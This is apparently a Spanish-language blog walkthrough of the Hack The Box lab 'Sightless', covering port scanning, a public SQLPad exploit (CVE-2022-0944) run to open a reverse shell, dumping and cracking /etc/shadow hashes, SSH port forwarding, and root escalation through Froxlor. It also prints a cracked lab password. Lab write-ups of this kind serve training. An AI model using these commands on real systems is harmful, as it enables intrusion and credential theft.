La máquina Sightless es una máquina fácil de HTB.

Resumen de conceptos trabajados:

• Enumerate ports/services (nmap)
• Virtual Host configuration
• Remote Code Execution (RCE)
• Cracking Hashes (John)
• Port Forwarding (local host)
• Privilege Escalation

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».

ENUMERACIÓN -> ESCANEO DE PUERTOS

Para asegurarme de que la máquina víctima está activa y puedo conectarme a ella, lanzo un PING o directamente un nmap, por ejemplo:

ping -c 1 10.10.11.32 -R

Explicación de los comandos:

ping: nos permite verificar la conectividad entre la máquina víctima y la atacante enviando paquetes ICMP (Internet Control Message Protocol) para medir la latencia y comprobar si el host (víctima) está activo.

-c 1: este argumento indica que solo se enviará 1 paquete ICMP en lugar de los envíos continuos predeterminados. Esto es útil para realizar un testeo de la IP rápido.

10.10.11.32: Es la dirección IP del host que se quiere comprobar. Puedes reemplazarlo con cualquier dirección IP o dominio que quieras atacar del laboratorio.

-R: Habilita la opción de registro de rutas (Record Route). Esta opción solicita a los routers en el camino entre tu máquina y el host objetivo que incluyan su dirección IP en la cabecera de los paquetes ICMP. Permite rastrear la ruta completa de ida y vuelta del paquete. No siempre todos los routers admiten esta opción, por lo que en algunos casos podrías no obtener información completa.

*Se transmite un paquete de ida, y se recibe 1 paquete de vuelta. Pasando por el nodo intermediario que deja en el trace route HTB, por lo que sabemos por el TTL 63 que estamos ante una máquina Linux.

Con nmap podemos ver también de primeras si la máquina:

nmap -sn 10.10.11.35

Explicación de los comandos:

-sn (Ping Scan): Realiza un escaneo simple para determinar si el host está activo, pero sin escanear puertos. Esto se conoce como un «Ping Scan».

Una vez comprobado que la máquina está activa, vamos a lanzar un nmap con permisos de root para ver qué puertos están abiertos y exportar el resultado en un fichero llamado «Escaneo» que nos pueda permitir más adelante manipularlo o consultarlo si lo necesitamos:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG Escaneo

Completamos el escaneo y se reportan los 3 principales puertos que nos encontramos en los laboratorios de hacking: puerto ftp, ssh de autenticación y http web.

Este es el detalle de cada comando lanzado con nmap:

La idea de este escaneo es detectar puertos abiertos en la dirección IP especificada.

sudo : comando en Linux con privilegios de administrador.

nmap : nmap herramienta para escanear redes. Principalmente para descubrir hosts activos.

-p- : esta opción le indica a nmap que escanee todo el rango de puertos, los 65535.

--open : nmap solo mostrará los puertos que están abiertos. No mostrará ni los puertos closed ni filtered.

-sS : especifica el tipo de escaneo que se va a realizar. En este caso, es un escaneo SYN, también conocido como «escaneo sigiloso» o TCP SYN scan. Este tipo de escaneo no establece una conexión completa con el puerto, solo envía un paquete SYN y espera una respuesta. Si el puerto está abierto, responde con un SYN-ACK; si está cerrado, responde con un RST.

--min-rate 5000 : establece la velocidad mínima del escaneo en 5000 paquetes por segundo, lo que significa que nmap intentará enviar al menos 5000 solicitudes cada segundo. Esto puede hacer que el escaneo sea más rápido, pero también «más ruidoso» aumentando las posibilidades de ser detectado por sistemas de seguridad (en entornos de laboratorio como HTB o THM no es problema).

-vvv : (triple verbose) nivel de información que muestra nmap en consola mientras escanea.

-n : esta opción le indica a nmap que no resuelva nombres de dominio (DNS). Es decir, solo utilizará direcciones IP sin intentar convertirlas en nombres de host.

-Pn : le dice a nmap que no haga un «ping» a la dirección IP antes de escanearla. Con -Pn, nmap asumirá que el host está activo y procederá directamente al escaneo de puertos, útil si el host bloquea pings.

-oG Escaneo : especifica el formato de salida (output) y el nombre del archivo donde se guardarán los resultados del escaneo. Escaneo es el nombre del archivo de salida donde se guardarán los resultados.

ENUMERACIÓN DE SERVICIOS Y VERSIONES PARA ESOS PUERTOS

Sabiendo que estos puertos están abiertos, lo que hacemos a continuación es lanzar una serie de scripts básicos de reconocimiento de nmap para ver qué servicios y versiones corren por esos puertos abiertos:

nmap -sCV -p21,22,80 10.10.11.32

Descartamos que la versión del puerto ssh no es vulnerable a priori, versión 8.9p1 superior a la versión 7.7. vulnerable y visto en este writeup ,no vulnerable a user enumeration por lo que no estaría aquí el vector de entrada.

Vemos un dominio sightless.htb donde si incluimos la IP víctima en el navegador (ya que el puerto 80 http está abierto), vemos que hace una redirección a él pero no devuelve nada…

CONFIGURACIÓN VIRTUAL HOST

Virtual Hosting es cuando una dirección IP va asociada a varios dominios o subdominios. De esa forma estás vinculando una IP a un dominio/subdominio y poder resolverlos en el navegador sin tener que incluir la IP sino el nombre del domino/subdominio.

En este punto aplicamos Virtual Host y modificando el fichero /etc/hosts/ de nuestra máquina y apuntando la IP víctima a ese dominio, ahora la redirección resuelve con un código 200:

Pasamos a ver con whatwebb o wappalyzer otros servicios que corren para esa web.

Nada relevante a priori por aquí…

Investigamos los enlaces a los que se apuntan internamente en la web y vemos que el «Contact Us» apunta a un mail llamado: sales@sightless.htb

En la parte de «Our Services» vemos un subdominio en SQLPad http://sqlpad.sightless.htb/que modificando el fichero /etc/hosts/ de nuevo apuntando con esa misma IP, vemos que ahora sí resuelve.

Después de modificar el /etc/hosts con el subdominio, y acceder al navegador, nos responde con este panel.

Vemos en el About (tres puntos verticales arriba-derecha) la versión 6.10.0 .

SQLPad es una herramienta de código abierto que permite ejecutar consultas SQL y visualizar resultados de manera interactiva.

EJECUCIÓN REMOTE DE COMANDOS RCE

Haciendo una búsqueda en Google sobre si existe alguna vulnerabilidad o exploit conocido para esa versión de SQLPAD, nos encontramos que efectivamente para versión inferiores a la 6.10.1 , existe un RCE Remote Code Execution CVE-2022-0944.

Básicamente lo que permite esta vulnerabilidad es ejecutar remotamente un código (RCE) a través de una inyección de plantillas en el endpoint de prueba de conexión. Un atacante con privilegios podría explotar esta falla para ejecutar comandos arbitrarios en el servidor afectado.

Accedemos a este repositorio en Github donde podremos descargarnos el script en python que luego enviaremos al endpoint para establecer una reverse shell.11.3

Una vez descargado el código en nuestra máquina atacante, lo que vamos a hacer es, ponernos en escucha en nuestra máquina atacante por el puerto 4444 ,

y ejecutamos el script en python3 de esta forma:

python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.150 4444

donde la IP sería la nuestra de ataque y el puerto el anterior de escucha, y así ya estaríamos en consola como usuario root, sin embargo al listar los archivos ocultos del directorio y sus permisos, no vemos ninguna flag.

Si ejecutamos el comando /etc/passwd, accedemos al listado de usuarios válidos en el sistema, y nos encontramos con los usuarios root, node y michael.

El user más sospechoso es michael, ya que root es obvio que no, y node quizás hace referencia a algún proceso por node.js o similar.

De hecho, si aplicamos el comando «cat /etc/shadow» donde se almacenan las contraseñas cifradas (o hashes) de los usuarios en sistemas Linux, vemos que root y michael las tienen:

CRACKING HASHES

Tanto el hash de la contraseña del usuario root como de michael tienen como prefijo $6$ lo que indica que se usó el algoritmo SHA-512 para cifrar la contraseña.

En este punto lo que hacemos es extraer esos hashes en nuestra máquina.

Para ello vamos a crear un fichero txt pero sólo con el hash de michael, ya que root no aplicaríacon ambos hashes y después usaremos la herramienta John The Ripper para romperlas:

Si probamos con el hash de root, nos devuelve esta pass pero si intento logarme por ssh (p21) parece que no permite el login:

pero si probamos con la contraseña que nos saca para el usuario «michael», vemos que sí accedemos por ssh y podemos ver la user flag:

Sin embargo no somos root de la máquina, por lo que continuamos con la escalada.

Analizo el fichero linpeas.sh con un bash y me encuentro con que existe un subdominio admin.sightless.htb :

bash linpeas.sh

que corre por el puerto 8080 bajo local host, sin embargo, si lo añado al /etc/hosts/ como antes porque se está aplicando un Virtual Host, y trato de acceder desde Firefox, veo que devuelve una redirección temporal 302 al dominio sightless.htb.

Tenemos que conseguir acceder a 127.0.0.1:8080 que corresponde con el subdominio de admin, para ello vamos a modificar el archivo etc hosts apuntando a la IP local:

PORT FORWARDING – REDIRECCIÓN DE PUERTOS

Y a continuación, vamos a hacer una redirección del puerto 8080 a nuestra máquina mediante SSH mediante el comando -L

la explicación del comando sería:

ssh -L 8080:127.0.0.1:8080 michael@10.10.11.32
  • ssh: Inicia una conexión SSH.
  • -L: Especifica un túnel local (local port forwarding).
    • La sintaxis es -L [puerto_local]:[host_remoto]:[puerto_remoto].
  • 8080:127.0.0.1:8080:
    • 8080 (puerto local): En tu máquina atacante (Kali), cualquier conexión al puerto 8080 será redirigida.
    • 127.0.0.1 (host remoto): Apunta a la interfaz de loopback (localhost) en la máquina remota (10.10.11.32).
    • 8080 (puerto remoto): El puerto de destino en la máquina remota al que quieres acceder.
  • michael@10.10.11.32: Inicia sesión como el usuario michael en la máquina con la IP 10.10.11.32.

Una vez accedemos bajo el usuario michael con la contraseña que vimos (insaneclownposse), estamos en la consola, y si accedemos al navegador e incluimos 127.0.0.1:8080 , llegamos a un panel de login del software Froxlor que nos mencionaba al inicio la página de sightless.htb cuando empezamos con el escaneo del puerto 80.

No podemos acceder porque no tenemos credenciales.

Para obtener las credenciales, analizamos las conexiones de red activas con el usuario michael mediante el comando «ss -tuln» vemos los siguientes puertos abiertos y en escucha LISTEN:

Desglose del comando

  1. ss:
    • Es una herramienta que reemplaza a netstat en sistemas modernos para mostrar información sobre conexiones de red y sockets.
  2. Opciones del comando:
    • -t: Muestra conexiones TCP.
    • -u: Muestra conexiones UDP.
    • -l: Muestra únicamente sockets en estado LISTEN (es decir, que están esperando conexiones entrantes).
    • -n: Muestra las direcciones y puertos en formato numérico (sin intentar resolver nombres DNS o servicios).

Analizando y buscando con grep los puertos abiertos en escucha, por ejemplo, vemos que el puerto 45669 está ejecutando un proceso en chromedrive.

Es por ello que vamos a redireccionar esos puertos y configurarlos en Chrome de esta forma:

ssh -L 33060:127.0.0.1:33060 -L 45669:127.0.0.1:45669 -L 41897:127.0.0.1:41897 -L 37897:127.0.0.1:37897 -L 8080:127.0.0.1:8080 michael@10.10.11.32

Abrimos chrome, y escribimos chrome://inspect/#devices en la barra de URL, y configuramos cada puerto que antes hemos redireccionado:

Si inspeccionamos en Chrome el acceso a http://admin.sightless.htb:8080/ vemos que cada cierto tiempo se loguea alguien, y si hacemos clic en la petición index.php podemos ver el admin y password para logarnos en el panel.

Una vez dentro del software, lo que haremos será crear una versión de PHP-FPM de esta forma (yo modifiqué la que había de default porque daba problema de duplicidad):

Después irás a la parte de System > Settings > PHP-FPM y la desactivarás, y luego volverás a activarla:

esto hará que se ejecute el comando anterior.

Ahora en la terminal escribimos: /bin/bash -p

y ya somos usuarios root y podemos ver la flag.

Aquí tienes otro walkthrough de la máquina que te ayudará a entenderlo.

Otros posts relacionados